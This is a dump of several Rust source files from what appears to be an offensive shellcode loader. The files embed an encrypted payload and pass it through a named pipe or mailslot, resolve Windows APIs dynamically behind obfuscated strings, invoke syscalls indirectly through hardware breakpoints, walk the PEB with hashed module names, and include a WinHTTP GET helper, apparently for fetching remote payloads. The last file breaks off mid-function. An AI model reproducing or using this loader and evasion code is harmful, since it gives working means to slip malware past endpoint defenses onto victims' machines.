/src/load_payload/mailslot.rs:
--------------------------------------------------------------------------------
1 | use std::ffi::{CString, c_void};
2 | use std::thread;
3 | use std::time::Duration;
4 | use rand::Rng;
5 | use std::ptr;
6 | use crate::utils::{load_library, get_proc_address};
7 | use obfstr::obfbytes;
8 |
9 | pub fn load_payload() -> Result, String> {
10 | const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin");
11 | let encrypted_data = ENCRYPT_DATA.to_vec();
12 |
13 | // Generate random mailslot name
14 | let random: u32 = rand::thread_rng().gen_range(10000..99999);
15 | let mailslot_name_str = format!("\\\\.\\mailslot\\rsl_slot_{}", random);
16 | let mailslot_name_c = CString::new(mailslot_name_str.clone()).map_err(|e| e.to_string())?;
17 |
18 | unsafe {
19 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
20 |
21 | // Define function types
22 | type CreateMailslotAFn = unsafe extern "system" fn(*const u8, u32, u32, *const c_void) -> isize;
23 | type GetMailslotInfoFn = unsafe extern "system" fn(isize, *mut u32, *mut u32, *mut u32, *mut u32) -> i32;
24 | type CreateFileAFn = unsafe extern "system" fn(*const u8, u32, u32, *const c_void, u32, u32, isize) -> isize;
25 | type WriteFileFn = unsafe extern "system" fn(isize, *const u8, u32, *mut u32, *mut c_void) -> i32;
26 | type ReadFileFn = unsafe extern "system" fn(isize, *mut u8, u32, *mut u32, *mut c_void) -> i32;
27 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32;
28 |
29 | // Load functions
30 | let create_mailslot_a: CreateMailslotAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateMailslotA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateMailslotA\0").as_slice()).to_string())?);
31 | let get_mailslot_info: GetMailslotInfoFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetMailslotInfo\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load GetMailslotInfo\0").as_slice()).to_string())?);
32 | let create_file_a: CreateFileAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateFileA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateFileA\0").as_slice()).to_string())?);
33 | let write_file: WriteFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"WriteFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load WriteFile\0").as_slice()).to_string())?);
34 | let read_file: ReadFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ReadFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load ReadFile\0").as_slice()).to_string())?);
35 | let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CloseHandle\0").as_slice()).to_string())?);
36 |
37 | // 1. Create Mailslot (Server)
38 | let h_slot = create_mailslot_a(
39 | mailslot_name_c.as_ptr() as *const u8,
40 | 0, // No maximum message size
41 | 0, // No read timeout (we'll poll)
42 | ptr::null()
43 | );
44 |
45 | if h_slot == -1 { // INVALID_HANDLE_VALUE
46 | return Err(String::from_utf8_lossy(obfbytes!(b"Failed to create mailslot\0").as_slice()).to_string());
47 | }
48 |
49 | // 2. Spawn Writer Thread (Client)
50 | let writer_data = encrypted_data.clone();
51 | let writer_name = mailslot_name_c.clone();
52 |
53 | thread::spawn(move || {
54 | // Give server time to be ready (though CreateMailslot is synchronous)
55 | thread::sleep(Duration::from_millis(100));
56 |
57 | let h_file = create_file_a(
58 | writer_name.as_ptr() as *const u8,
59 | 0x40000000, // GENERIC_WRITE
60 | 0x00000001, // FILE_SHARE_READ
61 | ptr::null(),
62 | 3, // OPEN_EXISTING
63 | 0x00000080, // FILE_ATTRIBUTE_NORMAL
64 | 0
65 | );
66 |
67 | if h_file != -1 {
68 | let mut bytes_written = 0;
69 |
70 | write_file(
71 | h_file,
72 | writer_data.as_ptr(),
73 | writer_data.len() as u32,
74 | &mut bytes_written,
75 | ptr::null_mut()
76 | );
77 |
78 | close_handle(h_file);
79 | }
80 | });
81 |
82 | // 3. Read from Mailslot (Server)
83 | let mut buffer = Vec::new();
84 | let mut total_read = 0;
85 | let expected_len = encrypted_data.len();
86 | let mut attempts = 0;
87 | const MAX_ATTEMPTS: u32 = 100; // 10 seconds timeout
88 |
89 | while total_read < expected_len && attempts < MAX_ATTEMPTS {
90 | let mut next_size: u32 = 0;
91 | let mut msg_count: u32 = 0;
92 | let mut read_timeout: u32 = 0; // We don't care about this output
93 |
94 | let info_success = get_mailslot_info(
95 | h_slot,
96 | ptr::null_mut(), // Max message size (don't care)
97 | &mut next_size,
98 | &mut msg_count,
99 | &mut read_timeout
100 | );
101 |
102 | if info_success != 0 && next_size != 0xFFFFFFFF { // MAILSLOT_NO_MESSAGE
103 | let mut chunk = vec![0u8; next_size as usize];
104 | let mut bytes_read = 0;
105 |
106 | let read_success = read_file(
107 | h_slot,
108 | chunk.as_mut_ptr(),
109 | next_size,
110 | &mut bytes_read,
111 | ptr::null_mut()
112 | );
113 |
114 | if read_success != 0 {
115 | buffer.extend_from_slice(&chunk[..bytes_read as usize]);
116 | total_read += bytes_read as usize;
117 | }
118 | } else {
119 | thread::sleep(Duration::from_millis(100));
120 | attempts += 1;
121 | }
122 | }
123 |
124 | close_handle(h_slot);
125 |
126 | if total_read == expected_len {
127 | Ok(buffer)
128 | } else {
129 | Err(format!("{} Read: {}, Expected: {}", String::from_utf8_lossy(obfbytes!(b"Failed to read full payload from mailslot.\0").as_slice()).to_string(), total_read, expected_len))
130 | }
131 | }
132 | }
133 |
--------------------------------------------------------------------------------
/src/load_payload/pipe.rs:
--------------------------------------------------------------------------------
1 | use std::ffi::{CString, c_void};
2 | use std::thread;
3 | use std::time::Duration;
4 | use rand::Rng;
5 | use std::ptr;
6 | use crate::utils::{load_library, get_proc_address};
7 | use obfstr::obfbytes;
8 |
9 | pub fn load_payload() -> Result, String> {
10 | const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin");
11 | let encrypted_data = ENCRYPT_DATA.to_vec();
12 |
13 | // Generate random pipe name
14 | let random: u32 = rand::thread_rng().gen_range(10000..99999);
15 | let pipe_name_str = format!("\\\\.\\pipe\\rsl_pipe_{}", random);
16 | let pipe_name_c = CString::new(pipe_name_str.clone()).map_err(|e| e.to_string())?;
17 |
18 | // Start server thread
19 | let server_data = encrypted_data.clone();
20 | let server_pipe_name = pipe_name_c.clone();
21 |
22 | thread::spawn(move || {
23 | unsafe {
24 | if let Ok(kernel32) = load_library(obfbytes!(b"kernel32.dll\0").as_slice()) {
25 | // Define function types
26 | type CreateNamedPipeAFn = unsafe extern "system" fn(*const u8, u32, u32, u32, u32, u32, u32, *const c_void) -> isize;
27 | type ConnectNamedPipeFn = unsafe extern "system" fn(isize, *mut c_void) -> i32;
28 | type WriteFileFn = unsafe extern "system" fn(isize, *const u8, u32, *mut u32, *mut c_void) -> i32;
29 | type DisconnectNamedPipeFn = unsafe extern "system" fn(isize) -> i32;
30 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32;
31 | type GetLastErrorFn = unsafe extern "system" fn() -> u32;
32 |
33 | // Load functions
34 | let create_named_pipe_a: CreateNamedPipeAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateNamedPipeA\0").as_slice()).unwrap_or(ptr::null()));
35 | let connect_named_pipe: ConnectNamedPipeFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ConnectNamedPipe\0").as_slice()).unwrap_or(ptr::null()));
36 | let write_file: WriteFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"WriteFile\0").as_slice()).unwrap_or(ptr::null()));
37 | let disconnect_named_pipe: DisconnectNamedPipeFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"DisconnectNamedPipe\0").as_slice()).unwrap_or(ptr::null()));
38 | let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).unwrap_or(ptr::null()));
39 | let get_last_error: GetLastErrorFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetLastError\0").as_slice()).unwrap_or(ptr::null()));
40 |
41 | if create_named_pipe_a as usize != 0 {
42 | let h_pipe = create_named_pipe_a(
43 | server_pipe_name.as_ptr() as *const u8,
44 | 0x00000002, // PIPE_ACCESS_OUTBOUND
45 | 0x00000000 | 0x00000000 | 0x00000000, // PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT (defaults are 0)
46 | 1, // Max instances
47 | server_data.len() as u32 + 4096, // Out buffer
48 | server_data.len() as u32 + 4096, // In buffer
49 | 0, // Default timeout
50 | ptr::null()
51 | );
52 |
53 | if h_pipe != -1 { // INVALID_HANDLE_VALUE
54 | let connected = connect_named_pipe(h_pipe, ptr::null_mut());
55 | if connected != 0 || get_last_error() == 535 { // ERROR_PIPE_CONNECTED
56 | let mut bytes_written = 0;
57 | write_file(
58 | h_pipe,
59 | server_data.as_ptr(),
60 | server_data.len() as u32,
61 | &mut bytes_written,
62 | ptr::null_mut()
63 | );
64 | thread::sleep(Duration::from_millis(100));
65 | }
66 | disconnect_named_pipe(h_pipe);
67 | close_handle(h_pipe);
68 | }
69 | }
70 | }
71 | }
72 | });
73 |
74 | // Client side
75 | thread::sleep(Duration::from_millis(50));
76 |
77 | let mut attempts = 0;
78 | const MAX_ATTEMPTS: u32 = 20;
79 |
80 | unsafe {
81 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
82 | type CreateFileAFn = unsafe extern "system" fn(*const u8, u32, u32, *const c_void, u32, u32, isize) -> isize;
83 | type ReadFileFn = unsafe extern "system" fn(isize, *mut u8, u32, *mut u32, *mut c_void) -> i32;
84 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32;
85 |
86 | let create_file_a: CreateFileAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateFileA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateFileA\0").as_slice()).to_string())?);
87 | let read_file: ReadFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ReadFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load ReadFile\0").as_slice()).to_string())?);
88 | let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CloseHandle\0").as_slice()).to_string())?);
89 |
90 | while attempts < MAX_ATTEMPTS {
91 | let h_file = create_file_a(
92 | pipe_name_c.as_ptr() as *const u8,
93 | 0x80000000, // GENERIC_READ
94 | 0, // No sharing
95 | ptr::null(),
96 | 3, // OPEN_EXISTING
97 | 0x00000080, // FILE_ATTRIBUTE_NORMAL
98 | 0
99 | );
100 |
101 | if h_file != -1 { // INVALID_HANDLE_VALUE
102 | let mut buffer = vec![0u8; encrypted_data.len()];
103 | let mut bytes_read = 0;
104 |
105 | let success = read_file(
106 | h_file,
107 | buffer.as_mut_ptr(),
108 | buffer.len() as u32,
109 | &mut bytes_read,
110 | ptr::null_mut()
111 | );
112 |
113 | close_handle(h_file);
114 |
115 | if success != 0 && bytes_read as usize == encrypted_data.len() {
116 | return Ok(buffer);
117 | }
118 | }
119 |
120 | thread::sleep(Duration::from_millis(100));
121 | attempts += 1;
122 | }
123 | }
124 |
125 | Err(String::from_utf8_lossy(obfbytes!(b"Failed to read from named pipe\0").as_slice()).to_string())
126 | }
127 |
--------------------------------------------------------------------------------
/RustVEHSyscalls/src/syscall.rs:
--------------------------------------------------------------------------------
1 | use crate::{
2 | def::{
3 | ImageDosHeader, ImageExportDirectory, ImageNtHeaders, ListEntry, LoaderDataTableEntry,
4 | PebLoaderData, IMAGE_DIRECTORY_ENTRY_EXCEPTION,
5 | },
6 | utils::{dbj2_hash, find_peb, get_cstr_len},
7 | };
8 | use core::ffi::c_ulong;
9 |
10 | /// The `syscall!` macro is designed to resolve and invoke system calls.
11 | /// It simplifies the process of finding the system call's address and service number, setting up
12 | /// a hardware breakpoint, and invoking the system call with the specified parameters.
13 | ///
14 | /// ### Macro Inputs
15 | /// 1. **`$syscall_name`**: The name of the system call to resolve (typically provided as a string).
16 | /// 2. **`$fn_sig`**: The function signature/type of the system call. This allows the resolved address
17 | /// to be cast to the appropriate function pointer type so it can be invoked directly.
18 | /// 3. **`$($param:expr),*`**: A variadic list of parameters to be passed to the resolved system call
19 | /// function. These parameters are passed as expressions.
20 | #[macro_export]
21 | macro_rules! syscall {
22 | ($syscall_name:expr, $fn_sig:ty, $($param:expr),*) => {
23 | {
24 | let mut syscall_addr: *mut u8 = core::ptr::null_mut();
25 |
26 | // Resolve the system call's address and System Service Number (SSN).
27 | let ssn = unsafe { $crate::get_ssn_by_name($syscall_name, None, &mut syscall_addr) };
28 |
29 | // Exit if the SSN is invalid or address is `null`.
30 | if ssn < 0 || syscall_addr.is_null() {
31 | -1
32 | } else {
33 | // Convert the resolved address to a function pointer of the specified type (`$fn_sig`).
34 | let pt_syscall: $fn_sig = unsafe { core::mem::transmute(syscall_addr) };
35 |
36 | // Set a hardware breakpoint on the system call.
37 | $crate::set_hw_bp(syscall_addr as usize, 1, ssn as u32);
38 |
39 | // Invoke the system call with the provided parameters (`$param`).
40 | unsafe { pt_syscall($($param),*) }
41 | }
42 | }
43 | };
44 | }
45 |
46 | /// Retrieves the System Service Number (SSN) and the address for a specified syscall.
47 | ///
48 | /// This function scans the loaded modules in memory to locate `ntdll.dll`, then utilizes the Exception Directory and
49 | /// Export Address Table to identify the specified syscall. It matches the syscall either by name or an optional hash
50 | /// and returns the SSN if a match is found, along with setting the function’s address in the provided `addr` parameter.
51 | ///
52 | /// For more details on this approach, see MDsec's article on using the Exception Directory to resolve System Service Numbers:
53 | /// https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/
54 | ///
55 | /// # Arguments
56 | /// * `syscall` - The name of the syscall to locate.
57 | /// * `hash` - An optional hash of the syscall name. If provided, the function uses this hash for matching rather than the name.
58 | /// * `addr` - A mutable pointer that will be set to the address of the resolved syscall if a match is found.
59 | ///
60 | /// # Returns
61 | /// Returns the SSN (System Service Number) of the matched syscall or -1 if no match is found. If a match is found,
62 | /// `addr` will contain the function's address in `ntdll.dll`.
63 | pub unsafe fn get_ssn_by_name(syscall: &str, hash: Option, addr: &mut *mut u8) -> i32 {
64 | let peb = find_peb(); // Get the Process Environment Block (PEB)
65 | let ldr = (*peb).loader_data as *mut PebLoaderData;
66 |
67 | // Traverse the list of loaded modules in memory.
68 | let mut next = (*ldr).in_memory_order_module_list.flink;
69 | let head = &mut (*ldr).in_memory_order_module_list;
70 |
71 | while next != head {
72 | let ent = (next as *mut u8).offset(-(core::mem::size_of::() as isize))
73 | as *mut LoaderDataTableEntry;
74 | next = (*ent).in_memory_order_links.flink;
75 |
76 | let dll_base = (*ent).dll_base as *const u8;
77 | let dos_header = dll_base as *const ImageDosHeader;
78 | let nt_headers = dll_base.offset((*dos_header).e_lfanew as isize) as *const ImageNtHeaders;
79 |
80 | let export_directory_rva = (*nt_headers).optional_header.data_directory[0].virtual_address;
81 | if export_directory_rva == 0 {
82 | continue;
83 | }
84 |
85 | let export_directory =
86 | dll_base.offset(export_directory_rva as isize) as *const ImageExportDirectory;
87 |
88 | if (*export_directory).number_of_names == 0 {
89 | continue;
90 | }
91 |
92 | let dll_name = dll_base.offset((*export_directory).name as isize) as *const u8;
93 | let dll_name_len = get_cstr_len(dll_name as _);
94 | let dll_name_str =
95 | core::str::from_utf8_unchecked(core::slice::from_raw_parts(dll_name, dll_name_len));
96 |
97 | // If module name is not ntdll.dll, skip.
98 | if dbj2_hash(dll_name_str.as_bytes()) != 0x1edab0ed {
99 | continue;
100 | }
101 |
102 | // Retrieve the Exception Directory.
103 | let rva = (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]
104 | .virtual_address;
105 | if rva == 0 {
106 | return -1;
107 | }
108 |
109 | let rtf = (dll_base.offset(rva as isize)) as PimageRuntimeFunctionEntry;
110 |
111 | // Access the Export Address Table.
112 | let address_of_functions = dll_base
113 | .offset((*export_directory).address_of_functions as isize)
114 | as *const core::ffi::c_ulong;
115 | let address_of_names = dll_base.offset((*export_directory).address_of_names as isize)
116 | as *const core::ffi::c_ulong;
117 | let address_of_name_ordinals = dll_base
118 | .offset((*export_directory).address_of_name_ordinals as isize)
119 | as *const core::ffi::c_ushort;
120 |
121 | let mut ssn = 0; // Initialize the system call number (SSN).
122 |
123 | // Traverse the runtime function table.
124 | for i in 0.. {
125 | let begin_address = (*rtf.offset(i as isize)).begin_address;
126 | if begin_address == 0 {
127 | break;
128 | }
129 |
130 | // Search the export address table.
131 | for j in 0..(*export_directory).number_of_functions {
132 | let ordinal = *address_of_name_ordinals.offset(j as isize);
133 | let function_address = *address_of_functions.offset(ordinal as isize);
134 |
135 | // Check if the function's address matches the runtime function's address.
136 | if function_address == begin_address {
137 | let api_name_addr =
138 | dll_base.offset(*address_of_names.offset(j as isize) as isize) as *const u8;
139 | let api_name_len = get_cstr_len(api_name_addr as _);
140 | let api_name_str = core::str::from_utf8_unchecked(core::slice::from_raw_parts(
141 | api_name_addr,
142 | api_name_len,
143 | ));
144 |
145 | // Match either by hash or by name.
146 | match hash {
147 | Some(h) => {
148 | if h == dbj2_hash(api_name_str.as_bytes()) as usize {
149 | *addr = dll_base.offset(function_address as isize) as *mut u8;
150 | return ssn;
151 | }
152 | }
153 | None => {
154 | if api_name_str == syscall {
155 | *addr = dll_base.offset(function_address as isize) as *mut u8;
156 | return ssn;
157 | }
158 | }
159 | }
160 |
161 | // Increment SSN if the function starts with "Zw" (system call).
162 | if api_name_str.starts_with("Zw") {
163 | ssn += 1;
164 | }
165 | }
166 | }
167 | }
168 | }
169 |
170 | -1 // Return -1 if no syscall is found.
171 | }
172 |
173 | #[repr(C)]
174 | pub struct ImageRuntimeFunctionEntry {
175 | pub begin_address: c_ulong,
176 | pub end_address: c_ulong,
177 | pub u: IMAGE_RUNTIME_FUNCTION_ENTRY_u,
178 | }
179 |
180 | #[repr(C)]
181 | pub union IMAGE_RUNTIME_FUNCTION_ENTRY_u {
182 | pub unwind_info_address: c_ulong,
183 | pub unwind_data: c_ulong,
184 | }
185 |
186 | /// Type alias for pointer to `_IMAGE_RUNTIME_FUNCTION_ENTRY`
187 | pub type PimageRuntimeFunctionEntry = *mut ImageRuntimeFunctionEntry;
188 |
--------------------------------------------------------------------------------
/src/utils/http.rs:
--------------------------------------------------------------------------------
1 | #![allow(non_snake_case, non_camel_case_types)]
2 |
3 | pub fn http_get(url: &str) -> Result<(u16, Vec), String> {
4 | use crate::utils::{load_library, get_proc_address};
5 | use std::ptr::{null, null_mut};
6 | use std::ffi::c_void;
7 | use rsl_macros::obfuscation_noise_macro;
8 | use obfstr::{obfstr, obfbytes};
9 |
10 | // Function definitions
11 | type WinHttpOpenFn = unsafe extern "system" fn(
12 | pszAgentW: *const u16,
13 | dwAccessType: u32,
14 | pszProxyW: *const u16,
15 | pszProxyBypassW: *const u16,
16 | dwFlags: u32
17 | ) -> *mut c_void;
18 |
19 | type WinHttpConnectFn = unsafe extern "system" fn(
20 | hSession: *mut c_void,
21 | pswzServerName: *const u16,
22 | nServerPort: u16,
23 | dwReserved: u32
24 | ) -> *mut c_void;
25 |
26 | type WinHttpOpenRequestFn = unsafe extern "system" fn(
27 | hConnect: *mut c_void,
28 | pwszVerb: *const u16,
29 | pwszObjectName: *const u16,
30 | pwszVersion: *const u16,
31 | pwszReferrer: *const u16,
32 | ppwszAcceptTypes: *const *const u16,
33 | dwFlags: u32
34 | ) -> *mut c_void;
35 |
36 | type WinHttpSendRequestFn = unsafe extern "system" fn(
37 | hRequest: *mut c_void,
38 | lpszHeaders: *const u16,
39 | dwHeadersLength: u32,
40 | lpOptional: *const c_void,
41 | dwOptionalLength: u32,
42 | dwTotalLength: u32,
43 | dwContext: usize
44 | ) -> i32;
45 |
46 | type WinHttpReceiveResponseFn = unsafe extern "system" fn(
47 | hRequest: *mut c_void,
48 | lpReserved: *mut c_void
49 | ) -> i32;
50 |
51 | type WinHttpQueryHeadersFn = unsafe extern "system" fn(
52 | hRequest: *mut c_void,
53 | dwInfoLevel: u32,
54 | pwszName: *const u16,
55 | lpBuffer: *mut c_void,
56 | lpdwBufferLength: *mut u32,
57 | lpdwIndex: *mut u32
58 | ) -> i32;
59 |
60 | type WinHttpQueryDataAvailableFn = unsafe extern "system" fn(
61 | hRequest: *mut c_void,
62 | lpdwNumberOfBytesAvailable: *mut u32
63 | ) -> i32;
64 |
65 | type WinHttpReadDataFn = unsafe extern "system" fn(
66 | hRequest: *mut c_void,
67 | lpBuffer: *mut c_void,
68 | dwNumberOfBytesToRead: u32,
69 | lpdwNumberOfBytesRead: *mut u32
70 | ) -> i32;
71 |
72 | type WinHttpCloseHandleFn = unsafe extern "system" fn(
73 | hInternet: *mut c_void
74 | ) -> i32;
75 |
76 | // Constants
77 | const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: u32 = 0;
78 | const WINHTTP_FLAG_SECURE: u32 = 0x00800000;
79 | const WINHTTP_QUERY_STATUS_CODE: u32 = 19;
80 | const WINHTTP_QUERY_FLAG_NUMBER: u32 = 0x20000000;
81 |
82 | let (scheme, rest) = url.split_once("://").ok_or("Invalid URL format")?;
83 | let (host_port, path) = rest.split_once('/').unwrap_or((rest, ""));
84 | let path = format!("/{}", path);
85 | let (host, port) = if let Some((h, p)) = host_port.split_once(':') {
86 | (h, p.parse::().map_err(|_| "Invalid port")?)
87 | } else {
88 | (host_port, if scheme == "https" { 443 } else { 80 })
89 | };
90 | let is_ssl = scheme == "https";
91 |
92 | let to_wstring = |s: &str| -> Vec {
93 | s.encode_utf16().chain(std::iter::once(0)).collect()
94 | };
95 |
96 | let user_agent = to_wstring("Mozilla/5.0");
97 | let host_w = to_wstring(host);
98 | let path_w = to_wstring(&path);
99 | let method_w = to_wstring("GET");
100 |
101 | unsafe {
102 | // Load winhttp.dll
103 | let winhttp_dll = load_library(obfbytes!(b"winhttp.dll\0").as_slice())?;
104 |
105 | // Resolve functions
106 | let win_http_open: WinHttpOpenFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpOpen\0").as_slice())?);
107 | let win_http_connect: WinHttpConnectFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpConnect\0").as_slice())?);
108 | let win_http_open_request: WinHttpOpenRequestFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpOpenRequest\0").as_slice())?);
109 | let win_http_send_request: WinHttpSendRequestFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpSendRequest\0").as_slice())?);
110 | let win_http_receive_response: WinHttpReceiveResponseFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpReceiveResponse\0").as_slice())?);
111 | let win_http_query_headers: WinHttpQueryHeadersFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpQueryHeaders\0").as_slice())?);
112 | let win_http_query_data_available: WinHttpQueryDataAvailableFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpQueryDataAvailable\0").as_slice())?);
113 | let win_http_read_data: WinHttpReadDataFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpReadData\0").as_slice())?);
114 | let win_http_close_handle: WinHttpCloseHandleFn = std::mem::transmute(get_proc_address(winhttp_dll, obfbytes!(b"WinHttpCloseHandle\0").as_slice())?);
115 |
116 | let h_session = win_http_open(
117 | user_agent.as_ptr(),
118 | WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
119 | null(),
120 | null(),
121 | 0,
122 | );
123 |
124 | if h_session.is_null() {
125 | return Err("WinHttpOpen failed".to_string());
126 | }
127 |
128 | let h_connect = win_http_connect(
129 | h_session,
130 | host_w.as_ptr(),
131 | port,
132 | 0,
133 | );
134 | if h_connect.is_null() {
135 | win_http_close_handle(h_session);
136 | return Err("WinHttpConnect failed".to_string());
137 | }
138 |
139 | let flags = if is_ssl { WINHTTP_FLAG_SECURE } else { 0 };
140 | let h_request = win_http_open_request(
141 | h_connect,
142 | method_w.as_ptr(),
143 | path_w.as_ptr(),
144 | null(),
145 | null(),
146 | null(),
147 | flags,
148 | );
149 | if h_request.is_null() {
150 | win_http_close_handle(h_connect);
151 | win_http_close_handle(h_session);
152 | return Err("WinHttpOpenRequest failed".to_string());
153 | }
154 |
155 | if win_http_send_request(
156 | h_request,
157 | null(),
158 | 0,
159 | null(),
160 | 0,
161 | 0,
162 | 0,
163 | ) == 0 {
164 | win_http_close_handle(h_request);
165 | win_http_close_handle(h_connect);
166 | win_http_close_handle(h_session);
167 | return Err("WinHttpSendRequest failed".to_string());
168 | }
169 |
170 | if win_http_receive_response(h_request, null_mut()) == 0 {
171 | win_http_close_handle(h_request);
172 | win_http_close_handle(h_connect);
173 | win_http_close_handle(h_session);
174 | return Err("WinHttpReceiveResponse failed".to_string());
175 | }
176 |
177 | // Get status code
178 | let mut status_code: u32 = 0;
179 | let mut size = std::mem::size_of::() as u32;
180 | if win_http_query_headers(
181 | h_request,
182 | WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
183 | null(),
184 | &mut status_code as *mut _ as *mut c_void,
185 | &mut size,
186 | null_mut(),
187 | ) == 0 {
188 | win_http_close_handle(h_request);
189 | win_http_close_handle(h_connect);
190 | win_http_close_handle(h_session);
191 | return Err("WinHttpQueryHeaders failed".to_string());
192 | }
193 |
194 | let mut response_body = Vec::new();
195 | loop {
196 | let mut size = 0;
197 | if win_http_query_data_available(h_request, &mut size) == 0 {
198 | break;
199 | }
200 | if size == 0 {
201 | break;
202 | }
203 |
204 | let mut buffer = vec![0u8; size as usize];
205 | let mut read = 0;
206 | if win_http_read_data(
207 | h_request,
208 | buffer.as_mut_ptr() as *mut c_void,
209 | size,
210 | &mut read,
211 | ) == 0 {
212 | break;
213 | }
214 | buffer.truncate(read as usize);
215 | response_body.extend(buffer);
216 | }
217 |
218 | win_http_close_handle(h_request);
219 | win_http_close_handle(h_connect);
220 | win_http_close_handle(h_session);
221 |
222 | obfuscation_noise_macro!();
223 |
224 | Ok((status_code as u16, response_body))
225 | }
226 | }
227 |
--------------------------------------------------------------------------------
/src/utils/win_api.rs:
--------------------------------------------------------------------------------
1 | #![allow(non_snake_case, non_camel_case_types)]
2 |
3 | use std::ffi::c_void;
4 |
5 | #[repr(C)]
6 | struct UNICODE_STRING {
7 | Length: u16,
8 | MaximumLength: u16,
9 | Buffer: *mut u16,
10 | }
11 |
12 | #[repr(C)]
13 | struct LIST_ENTRY {
14 | Flink: *mut LIST_ENTRY,
15 | Blink: *mut LIST_ENTRY,
16 | }
17 |
18 | #[repr(C)]
19 | struct PEB_LDR_DATA {
20 | Length: u32,
21 | Initialized: u8,
22 | _padding: [u8; 3],
23 | SsHandle: *mut c_void,
24 | InLoadOrderModuleList: LIST_ENTRY,
25 | InMemoryOrderModuleList: LIST_ENTRY,
26 | InInitializationOrderLinks: LIST_ENTRY,
27 | }
28 |
29 | #[repr(C)]
30 | struct PEB {
31 | Reserved1: [u8; 2],
32 | BeingDebugged: u8,
33 | Reserved2: [u8; 1],
34 | Reserved3: [*mut c_void; 2],
35 | Ldr: *mut PEB_LDR_DATA,
36 | }
37 |
38 | #[repr(C)]
39 | struct LDR_DATA_TABLE_ENTRY {
40 | InLoadOrderLinks: LIST_ENTRY,
41 | InMemoryOrderLinks: LIST_ENTRY,
42 | InInitializationOrderLinks: LIST_ENTRY,
43 | DllBase: *mut c_void,
44 | EntryPoint: *mut c_void,
45 | SizeOfImage: u32,
46 | FullDllName: UNICODE_STRING,
47 | BaseDllName: UNICODE_STRING,
48 | }
49 |
50 | #[cfg(target_arch = "x86_64")]
51 | unsafe fn get_peb() -> *mut PEB {
52 | let peb: *mut PEB;
53 | std::arch::asm!("mov {}, gs:[0x60]", out(reg) peb);
54 | peb
55 | }
56 |
57 | #[cfg(target_arch = "x86")]
58 | unsafe fn get_peb() -> *mut PEB {
59 | let peb: *mut PEB;
60 | std::arch::asm!("mov {}, fs:[0x30]", out(reg) peb);
61 | peb
62 | }
63 |
64 | fn sdbm_hash(s: &[u8]) -> u32 {
65 | let mut hash: u32 = 0;
66 | for &c in s {
67 | hash = (c as u32).wrapping_add(hash.wrapping_shl(6)).wrapping_add(hash.wrapping_shl(16)).wrapping_sub(hash);
68 | }
69 | hash
70 | }
71 |
72 | fn sdbm_hash_lower(s: &[u8]) -> u32 {
73 | let mut hash: u32 = 0;
74 | for &c in s {
75 | let c_lower = if c >= b'A' && c <= b'Z' { c + 32 } else { c };
76 | hash = (c_lower as u32).wrapping_add(hash.wrapping_shl(6)).wrapping_add(hash.wrapping_shl(16)).wrapping_sub(hash);
77 | }
78 | hash
79 | }
80 |
81 | unsafe fn get_module_handle_custom_by_hash(module_hash: u32) -> isize {
82 | let peb = get_peb();
83 | if peb.is_null() || (*peb).Ldr.is_null() {
84 | return 0;
85 | }
86 |
87 | let ldr = &*(*peb).Ldr;
88 | let head = &ldr.InLoadOrderModuleList as *const LIST_ENTRY;
89 | let mut current = (*head).Flink;
90 |
91 | while current != head as *mut LIST_ENTRY {
92 | let entry = current as *mut LDR_DATA_TABLE_ENTRY;
93 |
94 | let base_dll_name = &(*entry).BaseDllName;
